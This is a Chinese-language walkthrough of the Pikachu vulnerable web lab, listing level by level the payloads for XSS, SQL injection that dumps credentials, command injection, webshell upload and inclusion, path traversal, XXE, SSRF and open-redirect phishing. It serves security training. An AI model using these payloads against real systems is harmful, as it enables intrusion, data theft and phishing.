Pikachu 通关攻略— 一网打尽所有漏洞类型
Pikachu 是 Web 安全入门必刷的靶场,涵盖暴力破解、XSS、CSRF、SQL 注入、RCE、文件包含、文件上传、越权、SSRF 等十几类漏洞。这份通关秘籍把每一关的完整 Payload 和解题思路都整理好了,跟着走就能全通。
零、Pikachu 安装
修改配置
编辑inc/config.inc.php:
define('DBHOST','127.0.0.1');define('DBUSER','root');define('DBPW','root');// 改成你的 MySQL 密码define('DBNAME','pikachu');define('DBPORT','3306');初始化
访问http://localhost/pikachu/install.php完成安装。
一、暴力破解
1.1 基于表单的暴力破解
题目:http://localhost/pika/vul/burteforce/bf_form.php
不知道账号密码,用 Burp Suite Intruder 爆破:
- BP 拦截登录请求 → Send to Intruder
- Attack type:Cluster bomb
- Payload 1: 账号字典(admin, test, user…)
- Payload 2: 密码字典(123456, admin, password…)
- Start Attack → 找响应长度不同的那条
1.2 验证码绕过(on server)
题目:http://localhost/pika/vul/burteforce/bf_server.php
服务端验证码一直有效(不刷新),解题方式和 1.1 一样,BP 破解时手动输入当前验证码即可。
1.3 验证码绕过(on client)
题目:http://localhost/pika/vul/burteforce/bf_client.php
前端 JS 验证,直接忽略。BP 抓包直接发 → 不需要验证码就能爆破。
1.4 Token 防爆破?
题目:token 每次请求都会变,但服务器会在响应中返回当前有效的 token。
BP Intruder 配置:
- Attack type:Pitchfork
- Payload 1: 密码字典
- Payload 2: 选择Recursive Grep,从响应中提取 token
- 线程池设为1(token 必须一一对应)
- Start Attack
二、XSS(跨站脚本攻击)
2.1 反射型 XSS(GET)
题目:http://localhost/pika/vul/xss/xss_reflected_get.php
输入框限制长度 → F12 修改maxlength属性:
<script>alert(1)</script>2.2 反射型 XSS(POST)
题目:用admin/123456登录后提交。
要求弹出 Cookie:
<script>alert(document.cookie)</script>PHP 7.2 版本测试成功,5.x 版本可能 httponly。
2.3 存储型 XSS
题目:http://localhost/pika/vul/xss/xss_stored.php
在留言框输入后提交,每次访问页面都会触发:
<script>alert(1)</script>2.4 DOM 型 XSS
题目:http://localhost/pika/vul/xss/xss_dom.php
输入的数据会带入 href,用伪协议:
javascript:alert(1)2.5 DOM 型 XSS-X
题目:http://localhost/pika/vul/xss/xss_dom_x.php?text=asd#
点击一次没反应,再点一次触发。Payload:
javascript:alert(1)2.6 XSS 之盲打
题目:http://localhost/pika/vul/xss/xssblind/xss_blind.php
前台输入没效果,但管理员后台会看到。属于存储型 XSS:
<script>alert(1)</script>管理员登录admin_login.php→ 触发弹窗。
2.7 XSS 之过滤
题目:http://localhost/pika/vul/xss/xss_01.php
过滤了<script>标签。大小写混写绕过:
<sCRIPT>alert(1)</scRipt><SCRIPT>alert(1)</SCRIPT>2.8 XSS 之 htmlspecialchars
题目:htmlspecialchars()把预定义字符转 HTML 实体。
默认配置不会过滤单引号。需要利用单引号闭合 + 事件触发。
2.9 XSS 之 href 输出
题目:http://localhost/pika/vul/xss/xss_03.php
javascript:alert(1)2.10 XSS 之 js 输出
题目:http://localhost/pika/vul/xss/xss_04.php
注意前面有个<script>标签,输入会被直接拼入 JS 代码中:
';alert(1)</script>关闭前一个
',分号结束语句,alert 执行,</script>闭合标签。
三、CSRF(跨站请求伪造)
3.1 CSRF(GET)
题目:http://localhost/pika/vul/csrf/csrfget/csrf_get_login.php
allen/boy登录 → 修改个人信息 → 复制修改信息的 GET URL → 构造恶意页面诱导受害者点击。
3.2 CSRF(POST)
题目:http://localhost/pika/vul/csrf/csrfpost/csrf_post.php
由 GET 改成 POST,方式一样。用 Burp Suite 生成 CSRF PoC → 保存为 HTML → 诱导点击。
3.3 CSRF Token
演示「加 Token」怎么防范 CSRF 攻击,无实际漏洞利用。
四、SQL 注入
4.1 数字型注入(POST)
题目:http://localhost/pika/vul/sqli/sqli_id.php
id=-1orderby2id=-1unionselect1,2id=-1unionselectdatabase(),version()id=-1unionselectgroup_concat(table_name),2frominformation_schema.tableswheretable_schema='pikachu'id=-1unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users'id=-1unionselectgroup_concat(username),group_concat(password)fromusers4.2 字符类型注入(GET)
题目:http://localhost/pika/vul/sqli/sqli_str.php
和 4.1 一样,只是参数带引号闭合。
4.3 搜索型注入
题目:http://localhost/pika/vul/sqli/sqli_search.php
?name=1' order by 2 --+&submit=查询 ?name=1'unionselectdatabase(),version()--+&submit=查询?name=1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' --+&submit=查询 ?name=1'unionselectgroup_concat(column_name),2frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users'--+&submit=查询?name=1'unionselectgroup_concat(username),group_concat(password)fromusers--+&submit=查询4.4 xx 型注入
题目:http://localhost/pika/vul/sqli/sqli_x.php
随便输入'发现报错中有)→ 参数被括号包裹。用')闭合:
?name=1') order by 3 --+&submit=查询 ?name=1')unionselect1,database(),version()--+&submit=查询?name=1') union select group_concat(table_name),2,3 from information_schema.tables where table_schema='pikachu' --+&submit=查询 ?name=1')unionselectgroup_concat(column_name),2,3frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users'--+&submit=查询?name=1')unionselectgroup_concat(username),group_concat(password),3fromusers--+&submit=查询4.5 insert/update 注入
题目:http://localhost/pika/vul/sqli/sqli_iu/sqli_reg.php
注册成功但无回显 →报错注入:
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) and '1'='1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) and '1'='1' and extractvalue(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1))) and '1'='14.6 delete 注入
题目:http://localhost/pika/vul/sqli/sqli_del.php
和 4.5 一样用报错注入,GET 方式提交:
?id=1andextractvalue(1,concat(0x7e,(database())))?id=1andextractvalue(1,concat(0x7e,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='pikachu')))?id=1andextractvalue(1,concat(0x7e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schema='pikachu'andtable_name='users')))?id=1andextractvalue(1,concat(0x7e,(selectconcat(username,'-',password)fromuserslimit0,1)))4.7 HTTP Header 注入
题目:http://localhost/pika/vul/sqli/sqli_header/sqli_header.php
和 insert 注入一样,报错注入即可。
4.8 Boolean 盲注
题目:http://localhost/pika/vul/sqli/sqli_blind_b.php
虽然叫盲注,但也可以用 union 直接拿。真正的布尔盲注解法:
# 判断数据库名长度?name=lucy' and length(database())<10 --+&submit=查询 ?name=lucy'andlength(database())=7--+&submit=查询# 逐字猜数据库名 → pikachu?name=lucy' and ascii(substr(database(),1,1))=112 --+&submit=查询 # p ?name=lucy'andascii(substr(database(),2,1))=105--+&submit=查询 # i?name=lucy' and ascii(substr(database(),3,1))=107 --+&submit=查询 # k ?name=lucy'andascii(substr(database(),4,1))=97--+&submit=查询 # a?name=lucy' and ascii(substr(database(),5,1))=99 --+&submit=查询 # c ?name=lucy'andascii(substr(database(),6,1))=104--+&submit=查询 # h?name=lucy'andascii(substr(database(),7,1))=117--+&submit=查询 # u4.9 延时盲注
题目:http://localhost/pika/vul/sqli/sqli_blind_t.php
# 判断长度 → 睡了 = 正确?name=lucy' and if(length(database())<10,sleep(5),1) --+&submit=查询 ?name=lucy'andif(length(database())=7,sleep(5),1)--+&submit=查询# 逐字猜 → pikachu?name=lucy'andif(ascii(substr(database(),1,1))=112,sleep(5),1)--+&submit=查询 # pSQLMap 一把梭:
sqlmap-u'http://192.168.244.1/pika/vul/sqli/sqli_blind_t.php?name=1&submit=查询'-pname --current-db4.10 宽字节注入
背景:PHP 用addslashes()把'转义为\'(即%5c%27)。但如果数据库编码为GBK,%df%5c恰好组成一个汉字「運」,把转义符\吃掉了,单引号逃逸成功。
name=1%df' union select version(),database() --+&submit=查询 name=1%df'unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()--+&submit=查询name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+&submit=查询 name=1%df'unionselectgroup_concat(username),group_concat(password)frompikachu.users--+&submit=查询
%df是 GBK 编码范围内的字节,与%5c(\)组成双字节汉字,导致\失效。
五、RCE(远程代码/命令执行)
5.1 exec “ping”
题目:http://localhost/pika/vul/rce/rce_ping.php
127.0.0.1|whoami5.2 exec “eval”
题目:http://localhost/pika/vul/rce/rce_eval.php
echohello;phpinfo();fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');写入
shell.php→ 蚁剑连接:密码123。
六、文件包含
6.1 本地文件包含
题目:http://localhost/pika/vul/fileinclude/fi_local.php
?filename=file6.php&submit=提交6.2 远程文件包含
题目:http://localhost/pika/vul/fileinclude/fi_remote.php
先在 WWW 根目录放好webshell.txt:
<?phpfputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>访问:
?filename=http://127.0.0.1/webshell.txt&submit=提交伪协议读源码:
?filename=php://filter/read=convert.base64-encode/resource=fi_remote.php&submit=提交七、文件下载
题目:http://localhost/pika/vul/unsafedownload/down_nba.php
下载地址:vul/unsafedownload/execdownload.php?filename=smallane.png
路径遍历读取配置文件:
http://localhost/pika/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php八、文件上传
8.1 客户端检查
题目:http://localhost/pika/vul/unsafeupload/clientcheck.php
前端 JS 验证 → 改后缀为.jpg上传 → BP 拦截改回.php。
<?phpphpinfo();?>8.2 服务端检查
题目:http://localhost/pika/vul/unsafeupload/servercheck.php
和 8.1 一样,但注意需要同时改Content-Type为image/jpeg。
8.3 getimagesize()
题目:http://localhost/pika/vul/unsafeupload/getimagesize.php
制作图片马:
copy info.png /b + info.php /a webshell.png上传后配合文件包含触发:
http://localhost/pika/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/12/05/xxxxxx.png&submit=提交九、越权漏洞
9.1 水平越权
题目:kobe/123456 登录 → 改 URL 中username=kobe为username=lili:
http://localhost/pika/vul/overpermission/op1/op1_mem.php?username=lili&submit=点击查看个人信息看到 lili 的个人信息!
9.2 垂直越权
题目:pikachu/000000 普通用户登录 → 直接访问管理员页面:
http://localhost/pika/vul/overpermission/op2/op2_admin_edit.php新增用户成功!原因:
op2_admin_edit.php没有权限判断。
十、目录遍历
题目:http://localhost/pika/vul/dir/dir_list.php
本质是文件包含 + 目录遍历:
http://localhost/pika/vul/dir/dir_list.php?title=../../unsafeupload/uploads/info.php十一、敏感信息泄露
题目:http://localhost/pika/vul/infoleak/findabc.php
查看页面源码 → 找隐藏信息。
十二、PHP 反序列化
题目:http://localhost/pika/vul/unserilization/unser.php
<?phpclassS{var$test="<script>alert('xss')</script>";}$s=newS();echoserialize($s);// 输出:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}?>十三、XXE
题目:http://localhost/pika/vul/xxe/xxe_1.php
准备1.txt(内容随意),构造 XXE Payload:
<?xml version = "1.0"?><!DOCTYPEANY[<!ENTITY xxe SYSTEM "file:///C://Users//86188//Desktop//tool//1.txt">]><foo>&xxe;</foo>十四、URL 重定向
题目:http://localhost/pika/vul/urlredirect/urlredirect.php
http://localhost/pika/vul/urlredirect/urlredirect.php?url=http://baidu.com配合短链接(https://tool.chinaz.com/tools/dwz.aspx)实现钓鱼。
十五、SSRF
13.1 SSRF(curl)
题目:http://localhost/pika/vul/ssrf/ssrf_curl.php
读取文件:
http://localhost/pika/vul/ssrf/ssrf_curl.php?url=file:///C://Users//86188//Desktop//tool//1.txt端口探测:
http://localhost/pika/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:330613.2 SSRF(file_get_content)
题目:http://localhost/pika/vul/ssrf/ssrf_fgc.php
读取文件:
http://localhost/pika/vul/ssrf/ssrf_fgc.php?file=file:///C://Users//86188//Desktop//tool//1.txt伪协议读源码:
http://localhost/pika/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf_fgc.php全关卡通关联照表
| 分类 | 关卡数 | 核心 Payload 关键词 |
|---|---|---|
| 暴力破解 | 4 关 | Cluster bomb / Recursive Grep / Token |
| XSS | 10 关 | <script>/javascript:/ 大小写 / 闭合 |
| CSRF | 3 关 | PoC 生成 / GET 改 POST |
| SQL 注入 | 10 关 | union / extractvalue / sleep / %df 宽字节 |
| RCE | 2 关 | | whoami/ eval + fputs 写马 |
| 文件包含 | 2 关 | php://filter/ 远程 http 包含 |
| 文件下载 | 1 关 | ../../../路径遍历 |
| 文件上传 | 3 关 | 后缀绕过 / Content-Type / 图片马 |
| 越权 | 2 关 | 改 URL 参数 / 直接访问未授权页面 |
| 目录遍历 | 1 关 | ../../ |
| 敏感信息 | 1 关 | 源码查看 |
| 反序列化 | 1 关 | serialize / unserialize |
| XXE | 1 关 | <!ENTITY xxe SYSTEM "file:///..."> |
| URL 重定向 | 1 关 | ?url=参数 |
| SSRF | 2 关 | file:///dict:///php://filter |
写在最后:Pikachu 靶场覆盖了 Web 安全中几乎所有的经典漏洞类型。这份通关攻略不仅能帮你刷完全关,还能作为日常写 Payload 时的速查手册。通关不是终点,把每种漏洞的原理吃透才是目的。